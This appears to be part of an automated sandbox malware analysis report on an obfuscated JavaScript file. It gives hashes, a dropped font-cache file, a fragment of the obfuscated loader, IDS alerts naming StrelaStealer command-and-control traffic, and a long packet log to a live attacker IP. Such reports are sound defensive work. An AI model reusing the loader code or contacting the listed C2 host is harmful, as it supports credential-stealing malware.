Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (17170), with CRLF line terminators
Entropy (8bit):	4.920205343475855
TrID:
File name:	193581927228935729.js
File size:	20'722 bytes
MD5:	35aad6e6a94f765e5d2952df2811cf1d
SHA1:	b977523f036aa204be67af10ec74b1130fce61c3
SHA256:	4481765ed48bc713aa02aaabdd75a87096dafa4dace58d47524308d2532fdab1
SHA512:	399f8e08a5a52ba6e673da386277e94401bd44ca795bb42d23a6b67c976db0061a76cad4cdc72e2bbc3c4683830d30c0ddbdc84a7afb66331c2d6749028c9625
SSDEEP:	384:FjQdDAk7JehebhFpTZbYtcvVvKLLtq2aqJ1ybLHcJ9gRTemZhb:BQP7JOyhvZJKGd
TLSH:	FE9214D4A4068F828CE4ACB2137608D2637741C885A05ACD5077E0D96F9F57879FAEFE
File Content Preview:	function mnleah(){qnifv=[1031,3079,5127,4103,2055,3072];var hendkl=this[zqbbkhvb+aoxazejuq+orbpyqorr+jvgchxw+ihowezu+hohuioln+rfwdvbrzf+atddpvy](this[smdnsuq+bewtaaq+gbpgrpb+orbpyqorr+zofrdv+zqbbkhvb+atddpvy][uokqhfxm+orbpyqorr+ihowezu+aoxazejuq+atddpvy+i

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T02:10:19.952606+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-11T02:10:19.952606+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-11T02:10:22.213345+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.5	49705	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 02:10:19.114590883 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:19.119421005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:19.119492054 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:19.122864008 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:19.127696037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:19.952231884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:19.952538967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:19.952575922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:19.952605963 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:19.953237057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:19.953272104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:19.953299046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:19.954358101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:19.954370022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:19.954380989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:19.954415083 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:19.954459906 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:19.955507994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:19.955519915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:19.955566883 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:19.957545042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.009386063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.009466887 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.009661913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.009694099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.009740114 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.080637932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.080888987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.080899954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.080940962 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.081747055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.081757069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.081793070 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.082541943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.082551956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.082585096 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.083450079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.083462000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.083499908 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.084461927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.084495068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.084505081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.084522009 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.084558964 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.085443020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.085458040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.085516930 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.086447001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.086461067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.086502075 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.087445974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.087456942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.087502003 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.088422060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.088434935 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.088479996 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.099942923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.100189924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.100223064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.100255013 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.150886059 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.200885057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.201106071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.201138973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.201167107 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.209175110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.209260941 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.209386110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.209419012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.209559917 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.209930897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.209964991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.210010052 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.210647106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.210680962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.210722923 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.211517096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.211553097 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.211596012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.212285042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.212318897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.212347031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.212364912 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.212815046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.212847948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.212860107 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.213659048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.213690996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.213721991 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.214447021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.214479923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.214510918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.214512110 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.214556932 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.215348005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.215383053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.215423107 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.216178894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.216212988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.216259003 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.216800928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.216834068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.216866016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.216873884 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.217823029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.217855930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.217870951 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.217888117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.217921972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.217928886 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.218926907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.218960047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.218986034 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.218991995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.219038963 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.219748974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.219783068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.219815016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.219822884 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.220788956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.220820904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.220849037 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.220851898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.220885992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.220891953 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.221718073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.221750975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.221782923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.222724915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.223455906 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.291445971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.329452991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.329566956 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.329664946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.329695940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.329746008 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.329762936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.329797029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.329829931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.329843044 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.338043928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.338107109 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.338150978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.338185072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.338233948 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.338488102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.338521957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.338571072 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.338799953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.338834047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.338876009 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.339131117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.339169025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.339224100 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.339447975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.339482069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.339514971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.339524984 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.339548111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.339581013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.339607954 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.340286970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.340320110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.340343952 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.340353012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.340385914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.340404034 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.340418100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.340459108 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.341231108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.341264963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.341296911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.341315985 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.341331005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.341373920 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.341814041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.341846943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.341878891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.341890097 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.341912031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.341944933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.341952085 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.342835903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.342869043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.342891932 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.342900991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.342933893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.342941999 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.342967033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.343002081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.343004942 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.343858957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.343893051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.343914032 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.343924999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.343957901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.343966007 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.343991041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.344029903 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.344748020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.344783068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.344815016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.344826937 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.344847918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.344880104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.344887018 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.344913006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.344954967 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.345788002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.345823050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.345854998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.345865011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.345887899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.345918894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.345930099 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.345952988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.345993042 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.346702099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.346736908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.346769094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.346776962 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.346801996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.346832991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.346841097 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.346865892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.346898079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.346909046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.346941948 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.347642899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.347677946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.347690105 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.347709894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.347742081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.347753048 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.347774982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.347807884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.347817898 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.347840071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.347879887 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.348576069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.348609924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.348644018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.348655939 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.348675966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.348709106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.348718882 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.350425959 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.420336008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.420397997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.420454979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.420459032 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.420489073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.420523882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.420535088 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.420557022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.420593023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.420603037 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.421020031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.421056032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.421076059 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.429308891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.429418087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.429445028 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.429450035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.429517984 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.429754972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.429786921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.429820061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.429833889 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.429855108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.429898024 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.430393934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.430427074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.430474997 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.467823982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.467883110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.467894077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.467962027 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.468230009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.468241930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.468270063 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.469480991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.469531059 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.469557047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.469584942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.469630003 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.469762087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.469809055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.469878912 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.469995975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.470005989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 11, 2025 02:10:20.470067978 CET	49704	80	192.168.2.5	193.143.1.205
Jan 11, 2025 02:10:20.484709024 CET	80	49704	193.143.1.205	192.168.2.5
